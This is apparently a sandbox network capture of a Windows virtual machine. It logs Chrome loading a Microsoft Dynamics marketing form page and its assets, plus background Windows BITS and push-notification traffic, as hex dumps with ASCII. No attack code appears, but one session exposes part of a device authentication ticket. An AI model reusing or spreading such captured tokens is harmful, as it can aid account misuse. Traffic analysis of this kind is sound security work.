2024-04-24 06:21:14 UTC	16384	IN	Data Raw: 5d 29 2c 5b 34 2c 50 72 6f 6d 69 73 65 2e 61 6c 6c 28 74 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 61 29 7b 72 65 74 75 72 6e 20 69 5b 61 5d 26 26 69 5b 61 5d 2e 72 65 71 75 65 73 74 65 64 41 74 21 3d 3d 72 3f 6f 2e 74 72 79 52 65 74 72 69 65 76 65 56 61 6c 75 65 28 22 22 2e 63 6f 6e 63 61 74 28 65 2c 22 5f 22 29 2e 63 6f 6e 63 61 74 28 74 29 2c 6f 2e 65 78 70 69 72 61 74 69 6f 6e 43 61 63 68 65 2c 69 5b 61 5d 2c 6e 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6e 75 6c 6c 29 7d 29 29 29 5d 3b 63 61 73 65 20 33 3a 72 65 74 75 72 6e 20 73 2e 73 65 6e 74 28 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 72 65 74 75 72 6e 20 61 5b 74 5b 6e 5d 5d 3d 65 7d 29 29 2c 5b 32 2c 61 5d 3b 63 61 73 65 20 34 3a 72 65 74 75 Data Ascii: ]),[4,Promise.all(t.map((function(t,a){return i[a]&&i[a].requestedAt!==r?o.tryRetrieveValue("".concat(e,"_").concat(t),o.expirationCache,i[a],n):Promise.resolve(null)})))];case 3:return s.sent().forEach((function(e,n){return a[t[n]]=e})),[2,a];case 4:retu
2024-04-24 06:21:14 UTC	16384	IN	Data Raw: 6e 5b 34 2c 74 68 69 73 2e 66 65 74 63 68 47 65 74 28 65 29 5d 3b 63 61 73 65 20 31 3a 69 66 28 21 28 6e 3d 72 2e 73 65 6e 74 28 29 29 2e 6f 6b 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 22 2e 63 6f 6e 63 61 74 28 6e 75 6c 6c 3d 3d 74 3f 22 22 3a 74 2b 22 20 22 2c 22 53 74 61 74 75 73 3a 20 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 74 61 74 75 73 2c 22 20 2d 20 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 74 61 74 75 73 54 65 78 74 29 29 3b 72 65 74 75 72 6e 5b 34 2c 6e 2e 6a 73 6f 6e 28 29 5d 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 5b 32 2c 72 2e 73 65 6e 74 28 29 5d 7d 7d 29 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 66 65 74 63 68 50 6f 73 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 45 6e 28 74 68 69 73 2c 76 6f Data Ascii: n[4,this.fetchGet(e)];case 1:if(!(n=r.sent()).ok)throw new Error("".concat(null==t?"":t+" ","Status: ").concat(n.status," - ").concat(n.statusText));return[4,n.json()];case 2:return[2,r.sent()]}}))}))},e.prototype.fetchPost=function(e,t){return En(this,vo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49723	23.202.57.177	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:14 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-24 06:21:14 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (sac/2518) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus2-z1 Cache-Control: public, max-age=2554 Date: Wed, 24 Apr 2024 06:21:14 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49724	23.202.57.177	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:15 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-24 06:21:15 UTC	519	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-MSEdge-Ref: Ref A: CC1186E36C704BA5AF8177F229D6CC87 Ref B: PAOEDGE0621 Ref C: 2023-04-04T13:32:33Z Cache-Control: public, max-age=2582 Date: Wed, 24 Apr 2024 06:21:15 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-24 06:21:15 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49725	13.107.246.69	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:15 UTC	738	OUT	GET /4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: text/plain sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:16 UTC	589	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:21:16 GMT Content-Type: text/html Content-Length: 29039 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=900, must-revalidate x-ms-trace-id: d2559a51f5b120e9aa04bc84f5e14c13 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff x-azure-ref: 20240424T062116Z-168bb8d798b4bst68753kwrwcg00000001dg00000001a61k x-fd-int-roxy-purgeid: 69094450 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-24 06:21:16 UTC	15795	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 72 6b 65 74 69 6e 67 20 46 6f 72 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 Data Ascii: <!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Marketing Form</title> <meta name="referrer" cont
2024-04-24 06:21:16 UTC	13244	IN	Data Raw: 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 77 6f 4f 70 74 69 6f 6e 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 64 69 76 2e 72 61 64 69 6f 62 75 74 74 6f 6e 73 20 3e 20 64 69 76 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 77 6f 4f 70 74 69 6f 6e 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 64 69 76 2e 74 77 6f 6f 70 74 69 6f 6e 5f 63 68 65 63 6b 62 6f 78 20 3e 20 64 69 76 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6f 70 74 69 6f 6e 53 65 74 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 64 69 76 2e 72 61 64 69 6f 62 75 74 74 6f 6e 73 20 3e 20 64 69 76 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 6d 75 6c 74 69 4f 70 74 69 6f 6e 53 65 74 46 6f 72 6d 46 69 65 6c 64 42 6c 6f 63 6b 20 66 69 65 6c 64 73 65 74 20 3e 20 64 69 76 2c Data Ascii: } .twoOptionFormFieldBlock div.radiobuttons > div, .twoOptionFormFieldBlock div.twooption_checkbox > div, .optionSetFormFieldBlock div.radiobuttons > div, .multiOptionSetFormFieldBlock fieldset > div,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49727	13.107.246.69	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:16 UTC	713	OUT	GET /favicon.ico HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://assets-usa.mkt.dynamics.com/4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/standaloneforms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:16 UTC	313	IN	HTTP/1.1 404 Not Found Date: Wed, 24 Apr 2024 06:21:16 GMT Content-Type: text/html Content-Length: 548 Connection: close Strict-Transport-Security: max-age=2592000; preload x-azure-ref: 20240424T062116Z-168bb8d798bwftzb2az14uh0u0000000059000000000hr7z x-fd-int-roxy-purgeid: 69094450 X-Cache: TCP_MISS
2024-04-24 06:21:16 UTC	548	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49726	13.107.246.69	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:16 UTC	650	OUT	GET /usa/FormLoader/public/locales/en-us/translation.json HTTP/1.1 Host: cxppusa1formui01cdnsa01-endpoint.azureedge.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://assets-usa.mkt.dynamics.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://assets-usa.mkt.dynamics.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:16 UTC	628	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:21:16 GMT Content-Type: application/json Content-Length: 1304 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Tue, 27 Feb 2024 09:22:19 GMT ETag: 0x8DC377598F59007 x-ms-request-id: 294103bd-a01e-008e-7dba-95f8d0000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Allow-Origin: * x-azure-ref: 20240424T062116Z-168bb8d798bb9jsgq25rvu9gk800000000c0000000001u2s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-24 06:21:16 UTC	1304	IN	Data Raw: 7b 0d 0a 20 20 22 46 6f 72 6d 46 61 69 6c 65 64 54 6f 4c 6f 61 64 22 3a 20 22 46 61 69 6c 65 64 20 74 6f 20 6c 6f 61 64 20 66 6f 72 6d 22 2c 0d 0a 20 20 22 46 6f 72 6d 46 61 69 6c 65 64 54 6f 4c 6f 61 64 43 6f 72 73 22 3a 20 22 54 68 65 20 66 6f 72 6d 20 63 61 6e 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 20 6f 6e 20 61 20 64 6f 6d 61 69 6e 20 74 68 61 74 20 68 61 73 6e 27 74 20 62 65 65 6e 20 61 6c 6c 6f 77 65 64 20 66 6f 72 20 65 78 74 65 72 6e 61 6c 20 66 6f 72 6d 20 68 6f 73 74 69 6e 67 20 6f 72 20 74 68 65 72 65 20 69 73 20 61 20 6e 65 74 77 6f 72 6b 20 63 6f 6e 6e 65 63 74 69 76 69 74 79 20 69 73 73 75 65 22 2c 0d 0a 20 20 22 4c 65 61 72 6e 4d 6f 72 65 22 3a 20 22 4c 65 61 72 6e 20 6d 6f 72 65 22 2c 0d 0a 20 20 22 46 6f 72 6d 53 75 62 6d 69 74 74 65 Data Ascii: { "FormFailedToLoad": "Failed to load form", "FormFailedToLoadCors": "The form can not be loaded on a domain that hasn't been allowed for external form hosting or there is a network connectivity issue", "LearnMore": "Learn more", "FormSubmitte

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49729	13.107.246.69	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:19 UTC	668	OUT	GET /4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/images/1cf4ecdd-c500-ef11-a1fd-7c1e521c0288?ts=638494003333783206 HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:19 UTC	504	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:21:19 GMT Content-Type: image/png Content-Length: 28014 Connection: close Access-Control-Allow-Origin: * x-ms-trace-id: 7e1ad9927a6fc53947d021eeb9afea66 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff x-azure-ref: 20240424T062119Z-168bb8d798b8tmp8e5xfx6y0r400000007xg000000004uyg x-fd-int-roxy-purgeid: 69094450 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Cache-Control: public, max-age=2592000 Accept-Ranges: bytes
2024-04-24 06:21:19 UTC	15880	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 96 00 00 04 54 08 06 00 00 00 24 b7 99 cc 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 6c 85 49 44 41 54 78 da ec fd 77 9c 5d f5 9d e7 eb 7e 57 55 49 95 95 08 22 49 48 42 80 a8 22 2b 90 85 10 92 40 e4 0c 26 e3 b6 dd ed 80 8d 7d 66 a6 fb 75 ce b9 77 b8 67 d2 99 99 ee 76 bb a3 db 36 39 1b 10 41 e4 8c 22 39 e7 9c 83 85 04 ca 2a a9 6a af fb 07 c1 48 a8 4a 7b af 4a 3b 3c cf 6b 7a 40 52 a9 54 f5 d9 3f a0 d6 db 6b ef 4a 02 00 00 7a c0 98 1f 4d 1b dc 5e dd 31 36 92 68 cd 25 69 4b 44 b4 26 91 b6 e4 a2 66 e6 87 ff 72 Data Ascii: PNGIHDRT$gAMAa cHRMz&u0`:pQ<bKGDlIDATxw]~WUI"IHB"+@&}fuwgv69A"9*jHJ{J;<kz@RT?kJzM^16h%iKD&fr
2024-04-24 06:21:19 UTC	12134	IN	Data Raw: c4 02 ec b4 d5 a8 98 b9 c7 64 43 00 00 00 df 21 2c 41 11 49 92 24 7e ea b5 95 36 e9 92 02 5f b4 7b 43 57 cc bf d5 88 05 ba e0 b0 b3 dd b5 04 00 00 7c 87 b0 04 45 e4 f0 dd 0e 8c 9d b7 1e 6d 88 2e 3c f7 fe 6b f1 cc 7b af 74 eb 7d 3c f2 c6 b3 f1 ca c7 6f 1b b3 00 3b 6e b5 7d 1c b5 d7 21 86 00 00 00 d6 23 2c 41 91 48 92 24 7e 3c f5 34 43 6c c2 45 73 6e ec 91 f7 73 d5 82 db 8c 59 a0 5f 1e 7e 4e d4 54 55 1b 02 00 00 f8 86 b0 04 45 62 7a eb 7e b1 db 76 3b 1a a2 0b 7f 5a b6 24 ee 78 76 4e 8f bc af 59 4f dc 1b 2b d6 ac 32 6a 01 46 6f b1 6d 1c bd b7 bb 96 00 00 80 3f 13 96 a0 48 78 6d a5 4d bb 72 c1 ec 58 d7 43 df d1 6d 65 db ea 98 f5 c4 7d 46 2d d0 2f 0e 3b cb 5d 4b 00 00 c0 37 84 25 28 02 53 5b f6 89 dd 47 ec 6c 88 2e ac 6d 5f 17 57 3f 72 7b 8f be cf cb e7 df 12 Data Ascii: dC!,AI$~6_{CW\|Em.<k{t}<o;n}!#,AH$~<4ClEsnsY_~NTUEbz~v;Z$xvNYO+2jFom?HxmMrXCme}F-/;]K7%(S[Gl.m_W?r{

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49728	20.10.31.115	443

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:19 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 66 7a 77 58 39 66 57 39 6f 30 65 36 6f 39 72 75 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 36 36 65 33 61 66 64 39 36 37 38 66 61 38 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: fzwX9fW9o0e6o9ru.1Context: 566e3afd9678fa82
2024-04-24 06:21:19 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-04-24 06:21:19 UTC	1064	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 34 31 0d 0a 4d 53 2d 43 56 3a 20 66 7a 77 58 39 66 57 39 6f 30 65 36 6f 39 72 75 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 36 36 65 33 61 66 64 39 36 37 38 66 61 38 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 63 48 4d 75 73 42 48 42 36 33 45 50 4e 34 55 6f 64 35 6e 45 35 4f 6d 52 4c 76 52 36 59 45 78 64 46 6b 56 78 6e 70 34 4b 53 59 59 6c 44 53 67 43 47 65 44 76 48 72 61 68 54 4f 72 6f 31 6a 6a 39 32 70 57 59 43 61 62 44 77 58 7a 7a 6e 34 4f 67 30 78 46 4a 2f 33 6c 59 57 79 4b 65 6e 61 30 46 76 53 34 51 33 33 37 4d 4d 2b 79 78 42 Data Ascii: ATH 2 CON\DEVICE 1041MS-CV: fzwX9fW9o0e6o9ru.2Context: 566e3afd9678fa82<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAcHMusBHB63EPN4Uod5nE5OmRLvR6YExdFkVxnp4KSYYlDSgCGeDvHrahTOro1jj92pWYCabDwXzzn4Og0xFJ/3lYWyKena0FvS4Q337MM+yxB
2024-04-24 06:21:19 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 66 7a 77 58 39 66 57 39 6f 30 65 36 6f 39 72 75 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 36 36 65 33 61 66 64 39 36 37 38 66 61 38 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: fzwX9fW9o0e6o9ru.3Context: 566e3afd9678fa82<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-04-24 06:21:19 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-04-24 06:21:19 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 57 38 73 31 52 54 4f 31 50 45 4b 6b 77 66 6b 4a 6a 76 51 42 34 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: W8s1RTO1PEKkwfkJjvQB4Q.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49731	13.107.213.69	443	368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 06:21:19 UTC	444	OUT	GET /4df527c8-5afd-ee11-9048-000d3a10682d/digitalassets/forms/845fbd3d-a401-ef11-a1fd-7c1e521c0288 HTTP/1.1 Host: assets-usa.mkt.dynamics.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 06:21:20 UTC	609	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 06:21:19 GMT Content-Type: text/html Content-Length: 29039 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=900, must-revalidate x-ms-trace-id: d2559a51f5b120e9aa04bc84f5e14c13 Strict-Transport-Security: max-age=2592000; preload x-content-type-options: nosniff x-azure-ref: 20240424T062119Z-168bb8d798bxxkq2crnw691fcg0000000550000000011d81 x-fd-int-roxy-purgeid: 69094450 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-24 06:21:20 UTC	15775	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 72 6b 65 74 69 6e 67 20 46 6f 72 6d 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 Data Ascii: <!DOCTYPE html><html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Marketing Form</title> <meta name="referrer" cont
